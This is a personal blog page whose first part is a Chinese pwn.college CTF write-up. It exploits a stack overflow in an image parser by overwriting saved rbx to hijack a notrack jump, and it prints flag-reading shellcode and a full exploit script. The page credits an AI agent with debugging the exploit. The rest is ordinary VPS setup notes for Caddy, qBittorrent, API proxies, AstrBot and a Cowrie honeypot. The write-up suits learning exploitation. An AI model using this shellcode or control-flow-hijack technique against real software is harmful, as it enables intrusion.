Hello Navi

Tech, Security & Personal Notes

后记(前记?)

这道题卡了两个月。之前分析时已经定位到了 handle_1337 的栈溢出、渲染旋转、saved rbx 偏移——几乎所有拼图都在,但 exploit 始终 SIGSEGV。反复调偏移、怀疑 SHSTK、怀疑 read_exact 破坏了跳转表。

最终是 Hermes(运行 deepseek-v4-pro )接手后,从零重建了调试流程,先用 exit(42) 确认代码执行可达,再用 write("WORKS\n") 验证 syscall。

从 Hermes 接入到拿到 flag,大概花了一小时。其中四十分钟在修写错的 jmp/call 偏移和 shellcode ,真正定位只用了十分钟。

AI Agent 在 exploit 开发中的真正价值不在于「比人更懂二进制」,而在于不知疲倦地迭代测试、不跳过任何基础验证步骤。人会累、会跳步、会陷入思维定式,Agent 不会。

一个自定义图片格式解析器,包含栈溢出漏洞。通过覆盖 saved rbx 劫持 notrack jmp 分发,跳转到栈上 shellcode 读取 /flag。

挑战地址:ssh hacker@dojo.pwn.college,二进制在 /challenge/integration-cimg-screenshot-sc

1. 初步分析

1
2
3
4
5
6
7
8
$ checksec /challenge/integration-cimg-screenshot-sc
Arch: amd64-64-little
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
SHSTK: Enabled
IBT: Enabled
  • 无 canary、无 PIE、栈可执行
  • SHSTK(影子栈)和 IBT(间接分支追踪)启用
  • ASLR 被二进制内部禁用(personality(ADDR_NO_RANDOMIZE) + execve("/proc/self/exe")

2. 二进制结构

二进制处理自定义的 .cimg 图片格式,包含 7 个主要 handler:

指令 功能
1 从 stdin 读取原始像素数据
2 从 stdin 读取 ANSI 格式数据
3 从 stdin 读取 RGBA 数据
4 将 sprite 渲染到帧缓冲区
5 从文件加载 sprite
6 显示帧缓冲区
7 睡眠
1337 从帧缓冲区截取 sprite 区域

指令分发机制(位于 main 的循环中):

1
2
3
4
5
; rbx = 跳转表基址 (0x403478)
; ecx = 指令码 - 2
movsxd rax, dword [rbx + rcx*4] ; 从跳转表读取有符号偏移
add rax, rbx ; rax = 跳转表基址 + 偏移 = handler 地址
notrack jmp rax ; 跳转到 handler

notrack 前缀绕过了 IBT(不需要 endbr64 目标),这为劫持提供了条件。

3. 漏洞:handle_1337 栈溢出

handle_1337 从帧缓冲区截取 w * h 字节到栈缓冲区:

1
2
3
4
5
6
7
8
sub    rsp, 0x98          ; 分配 152 字节栈帧
lea rsi, [rsp+0x0b] ; 读取 5 字节参数
call read_exact
lea rdi, [rsp+0x10] ; 截屏缓冲区起始
; ... 循环:for row; for col: buffer[row*w + col] = framebuffer[...]
add rsp, 0x98
pop rbx ; ← saved rbx 恢复
ret

栈布局(从低地址到高):

1
2
3
4
5
6
7
rsp+0x00: 参数区(sprite_id, x, y, w, h 等)
rsp+0x10: 截屏缓冲区(136 字节)
rsp+0x98: saved rbx ← 溢出目标
rsp+0xa0: saved rbp
rsp+0xa8: saved r12
rsp+0xb0: saved r13
rsp+0xb8: 返回地址

当截屏宽度 w >= 137 时,写入超出缓冲区边界,覆盖 saved rbx。

覆盖 saved rbx 的效果:下一个指令通过 notrack jmp rax 分发时,rbx 已被我们控制。由于 rax = [rbx + rcx*4] + rbx,我们可以让分发跳转到任意地址。

1
2
3
4
5
notrack jmp rax        ; rax = [rbx + rcx*4] + rbx
rbx:作为跳转表的基地址。
rcx:作为索引(乘以 4,表明是一个 32 位跳转偏移量表)。
rax:先从 [rbx + rcx*4] 读取一个 32 位有符号偏移,再把这个偏移加到基址 rbx 上,得到最终的跳转目标,然后 jmp rax。
这实际上是在实现一个 基于相对偏移的跳转表分发:表项存放的是“目标地址 - 表基址”的有符号差值。

4. 数据流与旋转

在构造 payload 之前,需要理解数据经过的变换:

handle_5(加载文件):从文件读取原始字节到 sprite 数据区。

handle_4(渲染):将 sprite 数据写入帧缓冲区。实测发现存在 2 字节旋转:

1
framebuffer[N] = sprite_data[(N + 253) % 255]

handle_1337(截屏):线性读取帧缓冲区到栈缓冲区:

1
screenshot[N] = framebuffer[N]

因此截屏数据相对于原始文件数据旋转了 2 字节:

1
screenshot[N] = file[(N + 253) % 255] = file[N - 2]  (N ≥ 2)

这意味着:在 file 中某个偏移 K 的数据,在截屏中出现在偏移 (K + 2) % 255

验证旋转

制作一个「每个字节值 = 自身索引」的测试 sprite,渲染并显示:

1
2
3
4
5
6
7
display[0] = 253, delta = 253
display[1] = 254, delta = 253
display[2] = 0, delta = 253 → 来自 file[0]
display[3] = 1, delta = 253
...
display[11] = 9, delta = 253
display[12] = 11, delta = 254 → file[10] 被跳过了!

实际上存在更复杂的 skip 行为,但对于 exploit 中使用的偏移范围(18-142),2 字节旋转模型足够精确。

5. Payload 布局

利用指令 7(sleep)触发跳转:指令 7 对应跳转表索引 7 - 2 = 5,读取 [rbx + 5*4] = [rbx + 20]

在 file 中的布局:

1
2
3
4
file[0:18]:   NOP sled (0x90)
file[18:22]: int32 jump_offset = 24 ——→ 经过旋转 → screenshot[20:24] = 跳转偏移
file[22:??]: shellcode ——→ 经过旋转 → screenshot[24:??] = shellcode
file[134:142]: QWORD buf_addr ——→ 经过旋转 → 覆盖 saved rbx

旋转补偿计算

  • 指令 7 读取 screenshot[20:24] → 需要 file[(20+253)%255 : (23+253)%255] = file[18:22]
  • Shellcode 位于 screenshot[24] → 需要 file[(24+253)%255] = file[22]
  • Saved rbx 覆盖位于 screenshot[134:142] → 需要 file[(134+253)%255 : (141+253)%255] = file[132:140]

实际上 saved rbx 的精确位置是 file[134],比纯静态分析(136)少 2 字节。这是栈对齐和渲染 skip 共同作用的结果,通过 SIGSEGV 测试实证确认。

6. Shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
def make_cat_shellcode(path=b"/flag"):
sc = b""
# Push path to stack
p = path + b"\x00"
while len(p) % 8: p += b"\x00"
for i in range(len(p) - 8, -8, -8):
qw = struct.unpack("<Q", p[i:i+8])[0]
if qw == 0:
sc += b"\x48\x31\xc0\x50" # xor rax,rax; push rax
else:
sc += b"\x48\xb8" + struct.pack("<Q", qw) + b"\x50"

# open(path, O_RDONLY)
sc += b"\x48\x89\xe7" # mov rdi, rsp
sc += b"\x48\x31\xf6" # xor rsi, rsi
sc += b"\x48\x31\xd2" # xor rdx, rdx
sc += b"\x31\xc0\xb0\x02\x0f\x05" # xor eax; mov al,2; syscall

# read(fd, stack_buf, 0x400)
sc += b"\x48\x89\xc7" # mov rdi, rax
sc += b"\x48\x81\xec\x00\x04\x00\x00" # sub rsp, 0x400
sc += b"\x48\x89\xe6" # mov rsi, rsp
sc += b"\xba\x00\x04\x00\x00" # mov edx, 0x400
sc += b"\x31\xc0\x0f\x05" # xor eax; syscall

# write(1, stack_buf, n)
sc += b"\x48\x89\xc2" # mov rdx, rax
sc += b"\xbf\x01\x00\x00\x00" # mov edi, 1
sc += b"\x48\x89\xe6" # mov rsi, rsp
sc += b"\xb8\x01\x00\x00\x00\x0f\x05" # mov eax,1; syscall

# exit(0)
sc += b"\x31\xff\xb8\x3c\x00\x00\x00\x0f\x05"
return sc

7. 调试历程

7.1 栈偏移校准

通过读取 /proc/self/stat 泄露 startstack,然后在本地和远程分别校准栈偏移:

1
2
handle_1337 buffer = startstack - 0x11d0
STACK_OFFSET = -0x11d0

关键:用于泄露和用于 exploit 的 .cimg 文件名必须相同(/tmp/exploit.cimg),因为不同的文件名长度会影响 argv 在栈上的布局。

7.2 旋转验证

填充 0xCC(INT3),在不同宽度下触发溢出:

1
2
3
4
w=140: SIGSEGV  ← 4 字节溢出已触及 saved rbx 低位
w=142: SIGSEGV
w=144: SIGSEGV
...

所有宽度都崩溃,确认 saved rbx 被成功覆盖。需要填入正确的 buf_addr

7.3 Shellcode 调试:exit(42) 测试

使用最小 shellcode 验证代码执行:

1
sc = b"\xbf\x2a\x00\x00\x00" + b"\xb8\x3c\x00\x00\x00\x0f\x05"  # exit(42)
1
stack=-0x11d0 rbx_off=134 sc=exit42: 42 <<< EXIT42! SHELLCODE EXECUTED!

确认 shellcode 执行成功!

7.4 Shellcode 调试:rax 污染

接下来测试写 "WORKS" 到 stdout——成功了。但打开 /flag 就失败。问题定位:

mov al, 2 只设置 AL 的低字节,RAX 的高位保留着上一个操作的垃圾值(0x7fffffffda18,即跳转目标地址)。所以 syscall 发出的系统调用号是 0x7fffffffda02 而不是 2,内核返回 -ENOSYS

修复:在所有 syscall 前添加 xor eax, eax

1
2
3
4
5
# 错误:
b"\xb0\x02\x0f\x05" # mov al,2; syscall

# 正确:
b"\x31\xc0\xb0\x02\x0f\x05" # xor eax,eax; mov al,2; syscall

修复后 flags 到手。

8. 完整 Exploit

1
2
3
4
5
6
7
8
9
10
11
12
$ ssh hacker@dojo.pwn.college 'python3 /tmp/exploit_final.py'
[+] startstack = 0x7fffffffebd0
[+] buffer = 0x7fffffffda00
[+] shellcode = 66 bytes
[+] sc.bin = /tmp/sc.bin (255 bytes)
[+] exploit = /tmp/exploit.cimg

[*] Running exploit...

=======================================================
[+] FLAG: pwn.college{**********************************************}
=======================================================

完整 exploit 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
#!/usr/bin/env python3
"""
PwnCollege - CIMG Screenshots Exploit (FINAL)
==============================================
Challenge: integration-cimg-screenshot-sc
Vulnerability: Stack buffer overflow in handle_1337 (screenshot handler)
Technique: Overwrite saved rbx → hijack notrack jmp dispatch → shellcode

Key findings:
- Rotation: screenshot[N] = file[(N+253)%255] = file[N-2] for N>=2
- Saved rbx at file offset 134 (empirical, due to rotation)
- Directive 7 reads *(rbx+20), so jump offset at file[18] → screenshot[20]
- Shellcode at file[22] → screenshot[24], jump_target = 24
- Stack offset: buffer = startstack - 0x11d0
- MUST zero eax before mov al, N for syscalls (upper bits of rax have garbage)
"""
import struct, subprocess, re, os, sys

FNAME = "/tmp/exploit.cimg"
SC_FILE = "/tmp/sc.bin"
BIN = "/challenge/integration-cimg-screenshot-sc"
STACK_OFFSET = -0x11d0

if not os.path.exists(BIN):
BIN = "./integration-cimg-screenshot-sc.patched"


def hdr(n):
return struct.pack("<4sHBBi", b"cIMG", 4, 255, 1, n)


def d_load(sid, path):
d = struct.pack("<H", 5) + struct.pack("BBB", sid, 255, 1)
return d + path.encode().ljust(255, b"\x00")


def d_render(sid):
return struct.pack("<H", 4) + struct.pack(
"BBBBBBBBB", sid, 0, 0, 0, 0, 0, 255, 1, 0xAA
)


def d_screenshot(sid, w=144):
return struct.pack("<H", 1337) + struct.pack("BBBBB", sid, 0, 0, w, 1)


def d_show():
return struct.pack("<H", 6) + b"\x00"


# ─── Shellcode ────────────────────────────────────────────


def make_cat_shellcode(path=b"/flag"):
"""open(path); read(fd, stack, 0x400); write(1, stack, n); exit(0)"""
sc = b""

# Push path to stack (null-terminated, 8-byte aligned)
p = path + b"\x00"
while len(p) % 8:
p += b"\x00"
for i in range(len(p) - 8, -8, -8):
chunk = p[i:i + 8]
qw = struct.unpack("<Q", chunk)[0]
if qw == 0:
sc += b"\x48\x31\xc0\x50" # xor rax,rax; push rax
else:
sc += b"\x48\xb8" + struct.pack("<Q", qw) + b"\x50" # mov rax,imm; push

# open(path, O_RDONLY, 0)
sc += b"\x48\x89\xe7" # mov rdi, rsp
sc += b"\x48\x31\xf6" # xor rsi, rsi
sc += b"\x48\x31\xd2" # xor rdx, rdx
sc += b"\x31\xc0\xb0\x02\x0f\x05" # xor eax,eax; mov al,2; syscall

# read(fd, stack_buf, 0x400)
sc += b"\x48\x89\xc7" # mov rdi, rax
sc += b"\x48\x81\xec\x00\x04\x00\x00" # sub rsp, 0x400
sc += b"\x48\x89\xe6" # mov rsi, rsp
sc += b"\xba\x00\x04\x00\x00" # mov edx, 0x400
sc += b"\x31\xc0\x0f\x05" # xor eax,eax; syscall (read)

# write(1, stack_buf, n)
sc += b"\x48\x89\xc2" # mov rdx, rax
sc += b"\xbf\x01\x00\x00\x00" # mov edi, 1
sc += b"\x48\x89\xe6" # mov rsi, rsp
sc += b"\xb8\x01\x00\x00\x00\x0f\x05" # mov eax,1; syscall

# exit(0)
sc += b"\x31\xff\xb8\x3c\x00\x00\x00\x0f\x05"
return sc


# ─── Exploit ──────────────────────────────────────────────


def leak_startstack():
"""Leak startstack via /proc/self/stat (ASLR disabled by binary)."""
payload = hdr(3) + d_load(0, "/proc/self/stat") + d_render(0) + d_show()
with open(FNAME, "wb") as f:
f.write(payload)
proc = subprocess.run([BIN, FNAME], capture_output=True, timeout=15)
chars = []
for m in re.finditer(rb'm(.)\x1b\[0m', proc.stdout):
chars.append(m.group(1))
text = b"".join(chars).decode("latin-1")
fields = text.split()
if len(fields) < 28:
print("[-] Failed to parse startstack")
sys.exit(1)
ss = int(fields[27])
print(f"[+] startstack = {hex(ss)}")
return ss


def build_exploit(startstack):
buf_addr = startstack + STACK_OFFSET
print(f"[+] buffer = {hex(buf_addr)}")

sc = make_cat_shellcode(b"/flag")
print(f"[+] shellcode = {len(sc)} bytes")

# Build file payload (255 bytes)
# Rotation: screenshot[N] = file[N-2] (mod 255)
# Directive 7 reads *(rbx+20) = screenshot[20..23] = file[18..21]
# Shellcode at file[22] → screenshot[24]
# Saved rbx at file[134]
payload = bytearray(255)
for i in range(255):
payload[i] = 0x90 # NOP sled

jump_off = 24
struct.pack_into("<i", payload, 18, jump_off)

sc_start = 22
if sc_start + len(sc) > 134:
print(f"[-] Shellcode too long: {len(sc)} > {134 - sc_start}")
sys.exit(1)
payload[sc_start:sc_start + len(sc)] = sc

struct.pack_into("<Q", payload, 134, buf_addr)

with open(SC_FILE, "wb") as f:
f.write(payload)
print(f"[+] sc.bin = {SC_FILE} ({len(payload)} bytes)")

# Build CIMG: load sprite, render, screenshot (overflow), sleep (trigger jump)
exp = bytearray()
exp += hdr(4)
exp += d_load(0, SC_FILE)
exp += d_render(0)
exp += d_screenshot(0, w=144)
exp += struct.pack("<H", 7) + struct.pack("<i", 100)
with open(FNAME, "wb") as f:
f.write(exp)
print(f"[+] exploit = {FNAME}")


def run():
print("[*] Running exploit...", flush=True)
proc = subprocess.run([BIN, FNAME], capture_output=True, timeout=15)

flag = re.search(rb'pwn\.college\{[^}]+\}', proc.stdout)
if flag:
print(f"\n{'='*55}")
print(f"[+] FLAG: {flag.group().decode()}")
print(f"{'='*55}")
return True

clean = re.sub(rb'\x1b\[[0-9;]*m', b'', proc.stdout)
if clean.strip():
print(f"[*] Output: {clean[:500]}")
print(f"[*] Exit: {proc.returncode}")
return False


def main():
print(f"[*] Binary: {BIN}")
print()
ss = leak_startstack()
build_exploit(ss)
print()
run()


if __name__ == "__main__":
main()

9. 关键要点

  1. 数据流不透明时,实证测试优先于静态分析——handle_4 的渲染旋转无法仅通过阅读反汇编代码完全理解,但用标记 payload 验证只需要几分钟。

  2. mov al, N——在 x86-64 上设置 syscall 号时,必须先用 xor eax, eax 清零,或使用 mov eax, N(32 位 mov 自动清零高 32 位)。

  3. SHSTK + IBT 绕过——notrack jmp 前缀同时绕过间接分支追踪和影子栈检查。覆盖 saved rbx 而非返回地址是正确的选择。

  4. 利用文件名影响栈布局——泄露和利用使用相同的文件名,避免 argv 差异导致栈偏移变化。

qBittorrent-nox Service Setup

This note records a qbittorrent-nox setup for a VPS.

Example values:

  • service user: qbittorrent
  • config home: /var/lib/qbittorrent
  • download directory: /data/downloads
  • Web UI port: 18080
  • BT listen port: 45000

Caddy reverse proxy is covered in the separate Caddy note. This article only covers qBittorrent itself.

Install

1
sudo apt install qbittorrent-nox

On Arch Linux:

1
sudo pacman -S qbittorrent-nox

Do Not Run It As Root

Running a network-facing P2P daemon as root is asking for pain. If qBittorrent ever has an RCE or a bad plugin/script interaction, root turns that bug into full machine compromise.

Create a dedicated user:

1
2
3
sudo useradd -r -m -d /var/lib/qbittorrent -s /usr/sbin/nologin qbittorrent
sudo mkdir -p /data/downloads
sudo chown -R qbittorrent:qbittorrent /data/downloads

systemd Unit

Create /etc/systemd/system/qbittorrent-nox.service:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[Unit]
Description=qBittorrent-nox service
Documentation=man:qbittorrent-nox(1)
Wants=network-online.target
After=network-online.target nss-lookup.target

[Service]
Type=simple
User=qbittorrent
Group=qbittorrent
ExecStart=/usr/bin/qbittorrent-nox --profile=/var/lib/qbittorrent --webui-port=18080
TimeoutStopSec=1800
Restart=on-failure

ProtectSystem=full
ProtectHome=true
NoNewPrivileges=true

[Install]
WantedBy=multi-user.target

Enable it:

1
2
3
sudo systemctl daemon-reload
sudo systemctl enable --now qbittorrent-nox
sudo systemctl status qbittorrent-nox

Web UI Binding

Stop the service before editing the config, otherwise qBittorrent may overwrite your changes:

1
2
sudo systemctl stop qbittorrent-nox
sudo find /var/lib/qbittorrent -name "qBittorrent.conf"

Edit the config file, usually under:

1
/var/lib/qbittorrent/qBittorrent/config/qBittorrent.conf

Force the Web UI to localhost:

1
2
3
4
[Preferences]
WebUI\Address=127.0.0.1
WebUI\Port=18080
WebUI\HostHeaderValidation=false

Start it again:

1
sudo systemctl start qbittorrent-nox

On recent qBittorrent versions, the initial random password may appear in logs:

1
journalctl -u qbittorrent-nox -e | grep -i password

Change it immediately after logging in.

Caddy Reverse Proxy Notes

This note records the Caddy setup I keep reusing for small VPS services.

Caddy is good for this use case because the config is short and ACME certificate management is automatic. Most app services can stay on 127.0.0.1, while Caddy is the only public HTTP/TLS entry.

Example domains and ports:

  • newapi.example.com:8445 -> 127.0.0.1:3000
  • ds2api.example.com:8446 -> 127.0.0.1:6011
  • pt.example.com:8443 -> 127.0.0.1:18080
  • bot.example.com:8444 -> 127.0.0.1:6185

Install On Debian

1
2
3
4
5
6
7
8
9
10
sudo apt install -y debian-keyring debian-archive-keyring apt-transport-https curl

curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/gpg.key' \
| sudo gpg --dearmor -o /usr/share/keyrings/caddy-stable-archive-keyring.gpg

curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/debian.deb.txt' \
| sudo tee /etc/apt/sources.list.d/caddy-stable.list

sudo apt update
sudo apt install caddy

On Arch Linux:

1
sudo pacman -S caddy

Basic Caddyfile

Edit:

1
sudo vim /etc/caddy/Caddyfile

Example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
newapi.example.com:8445 {
reverse_proxy 127.0.0.1:3000
}

ds2api.example.com:8446 {
reverse_proxy 127.0.0.1:6011
}

pt.example.com:8443 {
reverse_proxy 127.0.0.1:18080
}

bot.example.com:8444 {
reverse_proxy 127.0.0.1:6185
}

Validate before reload:

1
2
sudo caddy validate --config /etc/caddy/Caddyfile
sudo systemctl reload caddy

If reload is not enough:

1
2
sudo systemctl restart caddy
sudo journalctl -u caddy -e --no-pager

Ports And ACME

For normal automatic certificates, Caddy needs to complete ACME challenges. Keep these in mind:

  • 80 should be reachable for HTTP-01 challenges.
  • 443 should be reachable for normal HTTPS sites.
  • If another service owns 443, Caddy can still serve HTTPS on another port, but certificate issuance may need 80 or DNS challenge.

Example firewall rules:

1
tcp dport { 80, 443, 8443, 8444, 8445, 8446 } accept

Bind Apps To Localhost

The app should usually listen on localhost:

1
2
3
4
127.0.0.1:3000
127.0.0.1:6011
127.0.0.1:18080
127.0.0.1:6185

This prevents users from bypassing Caddy and hitting the raw app port directly.

Notes

  • Put one service block per tool. Do not mix service-specific config into a generic Caddy note.
  • Caddyfile changes should be validated before reload.
  • If the app rejects proxied requests because of host header validation, fix that in the app config deliberately instead of exposing the app port.
  • Do not publish real internal domains or private ports if they reveal your infrastructure layout.

CLI Proxy API Setup

This note records a CLI Proxy API setup.

Example values:

  • config directory: /root/.cli-proxy-api
  • install directory: /root/cliproxyapi
  • public domain: cpa.example.com
  • HTTPS port: 8317
  • management URL: https://cpa.example.com:8317/management.html
  • API endpoint: https://cpa.example.com:8317/v1
  • API key: sk-example-cpa-key-please-change
  • remote management secret: example_remote_management_secret_change_me

All secrets above are fake.

Sync Config

If you prepare config locally and sync it to the server:

1
rsync -avzP --exclude='logs/*' ~/.cli-proxy-api/ root@198.51.100.20:~/.cli-proxy-api/

Lock down the config directory:

1
2
3
chmod 700 ~/.cli-proxy-api
chmod 600 ~/.cli-proxy-api/config/config.yaml
chmod 600 ~/.cli-proxy-api/*.json

Install

1
curl -fsSL https://raw.githubusercontent.com/brokechubb/cliproxyapi-installer/refs/heads/master/cliproxyapi-installer | bash

Then enter the install directory:

1
cd /root/cliproxyapi

Login Providers

Run only the login flows you need:

1
2
3
4
5
./cli-proxy-api --login           # Gemini
./cli-proxy-api --codex-login # OpenAI
./cli-proxy-api --claude-login # Claude
./cli-proxy-api --qwen-login # Qwen
./cli-proxy-api --iflow-login # iFlow

These login artifacts are credentials. Keep the auth directory private.

config.yaml

Example config:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
host: "0.0.0.0"
port: 8317

tls:
enable: true
cert: "/root/.cli-proxy-api/config/certs/fullchain.pem"
key: "/root/.cli-proxy-api/config/certs/privkey.pem"

remote-management:
allow-remote: true
secret-key: "example_remote_management_secret_change_me"
disable-control-panel: false
disable-auto-update-panel: true
panel-github-repository: "https://github.com/router-for-me/Cli-Proxy-API-Management-Center"

auth-dir: "/root/.cli-proxy-api"

api-keys:
- "sk-example-cpa-key-please-change"

debug: false
pprof:
enable: false
addr: "127.0.0.1:8316"

commercial-mode: true
logging-to-file: true
logs-max-total-size-mb: 0
error-logs-max-files: 10
usage-statistics-enabled: true
proxy-url: ""
force-model-prefix: false
passthrough-headers: false
request-retry: 3
max-retry-credentials: 2
max-retry-interval: 30
disable-cooling: false
auth-auto-refresh-workers: 2

routing:
strategy: "round-robin"
session-affinity: false
session-affinity-ttl: "1h"

ws-auth: false
enable-gemini-cli-endpoint: false
nonstream-keepalive-interval: 0

Service Management

Console mode:

1
./cli-proxy-api

User systemd service:

1
2
3
systemctl --user enable cliproxyapi.service
systemctl --user start cliproxyapi.service
systemctl --user status cliproxyapi.service

Restart after config changes:

1
systemctl --user restart cliproxyapi.service

Access

1
2
Management Center: https://cpa.example.com:8317/management.html
API Endpoint: https://cpa.example.com:8317/v1

Test:

1
2
curl https://cpa.example.com:8317/v1/models \
-H "Authorization: Bearer sk-example-cpa-key-please-change"

Notes

  • api-keys, login files, and provider refresh tokens are secrets.
  • If TLS is handled inside CLI Proxy API, renew and deploy certificate files consistently.
  • If Caddy handles TLS instead, bind CLI Proxy API to localhost and disable internal TLS.
  • Keep pprof on 127.0.0.1 only.

DS2API Docker Compose Setup

This note records a DS2API deployment with Docker Compose.

Example values:

  • public domain: ds2api.example.com
  • public HTTPS port: 8446
  • app port inside container: 5001
  • host port bound to localhost: 6011
  • admin key: example_ds2api_admin_key_change_me
  • API key: sk-example-ds2api-key-please-change

All keys above are fake.

Clone

1
2
3
4
git clone https://github.com/CJackHwang/ds2api.git
cd ds2api
cp .env.example .env
cp config.example.json config.json

Environment

Edit .env:

1
2
3
4
5
PORT=5001
DS2API_HOST_PORT=6011
LOG_LEVEL=INFO
DS2API_ADMIN_KEY=example_ds2api_admin_key_change_me
DS2API_CONFIG_PATH=/app/config.json

The app listens on PORT inside the container. DS2API_HOST_PORT is the host-side port used by Docker Compose.

Prefer binding the host port to localhost:

1
2
ports:
- "127.0.0.1:6011:5001"

config.json

Minimal example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
{
"keys": [
"sk-example-ds2api-key-please-change"
],
"api_keys": [
{
"key": "sk-example-ds2api-key-please-change",
"name": "main",
"remark": "for OpenAI-compatible clients"
}
],
"accounts": [
{
"name": "main-account",
"email": "deepseek-user@example.com",
"password": "example-password-please-change"
}
],
"model_aliases": {
"gpt-4o": "deepseek-v4-flash",
"gpt-5": "deepseek-v4-pro"
},
"runtime": {
"account_max_inflight": 2,
"account_max_queue": 5,
"token_refresh_interval_hours": 6
}
}

DeepSeek account passwords and refresh tokens are credentials. Treat config.json as a secret file.

Start

1
2
docker compose up -d
docker compose logs -f

Check logs:

1
docker logs --tail 200 -f ds2api

Caddy Reverse Proxy

1
2
3
ds2api.example.com:8446 {
reverse_proxy 127.0.0.1:6011
}

Reload:

1
2
sudo caddy validate --config /etc/caddy/Caddyfile
sudo systemctl reload caddy

Open the firewall port if needed:

1
sudo nft add rule inet filter input tcp dport 8446 accept

Test

1
2
curl https://ds2api.example.com:8446/v1/models \
-H "Authorization: Bearer sk-example-ds2api-key-please-change"

Chat completion:

1
2
3
4
5
6
7
8
curl https://ds2api.example.com:8446/v1/chat/completions \
-H "Authorization: Bearer sk-example-ds2api-key-please-change" \
-H "Content-Type: application/json" \
-d '{
"model": "deepseek-v4-flash",
"messages": [{"role": "user", "content": "ping"}],
"stream": false
}'

Notes

  • Change DS2API_ADMIN_KEY; do not leave a default admin password.
  • Keep config.json private because it stores upstream account credentials.
  • Bind the service to 127.0.0.1 and publish it through Caddy.
  • Do not paste real sk-... keys into public docs.

New API Docker Compose Setup

This note records a minimal New API deployment with Docker Compose.

Example values:

  • public domain: newapi.example.com
  • public HTTPS port: 8445
  • container app port: 3000
  • repo: https://github.com/QuantumNous/new-api.git

The domain and port are examples. Replace them with your own values.

Install Docker

If Docker is not installed yet:

1
2
curl -fsSL https://get.docker.com -o get-docker.sh
sudo sh get-docker.sh

Check it:

1
2
docker version
docker compose version

Clone

1
2
git clone https://github.com/QuantumNous/new-api.git
cd new-api

Review the compose file before starting it:

1
vim docker-compose.yml

For a reverse-proxy setup, bind the app to localhost if the compose file allows it:

1
2
ports:
- "127.0.0.1:3000:3000"

If the upstream compose file also starts MySQL and Redis, keep their ports internal unless you have a reason to expose them.

Start

1
docker compose up -d

Check status:

1
2
3
docker compose ps
docker compose logs -f new-api
docker compose logs --tail=100 new-api

For first-time initialization, open the web page and follow the setup wizard:

1
https://newapi.example.com:8445

If you test without Caddy first, use:

1
http://198.51.100.20:3000

198.51.100.20 is a documentation IP address.

Caddy Reverse Proxy

Caddy config:

1
2
3
newapi.example.com:8445 {
reverse_proxy 127.0.0.1:3000
}

Reload Caddy:

1
2
sudo caddy validate --config /etc/caddy/Caddyfile
sudo systemctl reload caddy

Open the firewall port if needed:

1
sudo nft add rule inet filter input tcp dport 8445 accept

Update

1
2
3
4
5
cd /opt/new-api
git pull
docker compose pull
docker compose up -d
docker image prune -f

If you modified tracked files directly and git pull complains, either move local changes into override files or clean the tree intentionally. Do not blindly reset --hard unless you know what you are throwing away.

Logs

1
2
3
4
5
6
7
8
9
10
# all services
docker compose logs -f

# selected services
docker compose logs -f new-api
docker compose logs -f mysql
docker compose logs -f redis

# foreground debug
docker compose up new-api

AstrBot Service Setup

This note records a minimal AstrBot deployment on a VPS.

Example values:

  • service user: astrbot
  • working directory: /opt/astrbot
  • local port: 6185
  • public domain: bot.example.com
  • bot token: example-bot-token-please-change
  • callback path: /callback/astrbot

Replace all example secrets before using the config.

Install uv

1
2
curl -LsSf https://astral.sh/uv/install.sh | sh
uv --version

Install AstrBot

1
2
3
uv tool install astrbot
command -v astrbot
astrbot --help

If astrbot is installed under the service user's home directory, use the absolute path in the systemd unit.

Environment File

1
2
sudo install -d -m 0750 -o astrbot -g astrbot /opt/astrbot
sudo vim /opt/astrbot/.env

Example .env:

1
2
3
4
BOT_TOKEN=example-bot-token-please-change
CALLBACK_URL=https://bot.example.com/callback/astrbot
ADMIN_ID=10000001
PORT=6185

systemd Unit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[Unit]
Description=AstrBot Service
After=network.target

[Service]
Type=simple
User=astrbot
Group=astrbot
WorkingDirectory=/opt/astrbot
EnvironmentFile=/opt/astrbot/.env
ExecStart=/home/astrbot/.local/bin/astrbot
Restart=always
RestartSec=5

[Install]
WantedBy=multi-user.target

Enable it:

1
2
3
sudo systemctl daemon-reload
sudo systemctl enable --now astrbot
sudo systemctl status astrbot

Reverse Proxy

1
2
3
bot.example.com {
reverse_proxy 127.0.0.1:6185
}

Logs

1
2
journalctl -u astrbot -e --no-pager
journalctl -u astrbot -f

Cowrie Honeypot Setup

Cowrie is an SSH/Telnet honeypot. It should be treated as hostile-facing software, not as a normal trusted application.

This note records a minimal deployment using a dedicated user, Python venv, and systemd.

Example values:

  • honeypot user: cowrie
  • internal Cowrie SSH port: 2222
  • public SSH trap port: 22 or 2222, depending on firewall/NAT design
  • fake hostname shown to attackers: backup-server

Install

Create a dedicated user:

1
2
sudo adduser --disabled-password --gecos "" cowrie
sudo -iu cowrie

Clone and install dependencies:

1
2
3
4
5
6
git clone https://github.com/cowrie/cowrie.git
cd cowrie
python -m venv cowrie-env
source cowrie-env/bin/activate
pip install --upgrade pip
pip install -r requirements.txt

Configure

1
2
cp etc/cowrie.cfg.dist etc/cowrie.cfg
vim etc/cowrie.cfg

Minimal config:

1
2
3
4
5
[honeypot]
hostname = backup-server

[ssh]
listen_endpoints = tcp:2222:interface=0.0.0.0

